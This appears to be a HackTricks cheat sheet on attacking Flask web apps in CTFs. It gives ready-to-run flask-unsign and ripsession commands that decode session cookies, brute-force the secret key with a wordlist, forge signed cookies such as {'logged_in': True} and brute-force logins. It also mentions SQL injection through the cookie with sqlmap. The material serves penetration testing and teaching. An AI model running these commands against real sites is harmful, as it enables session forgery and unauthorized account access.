5.4 KiB
Flask
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Probably if you are playing a CTF a Flask application will be related to SSTI.
Cookies
Default cookie session name is session.
Decoder
Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password
Flask-Unsign
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Decode Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signing
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signing using legacy (old versions)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Command line tool to brute-force websites using cookies crafted with flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask session cookie with SQLmap
This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.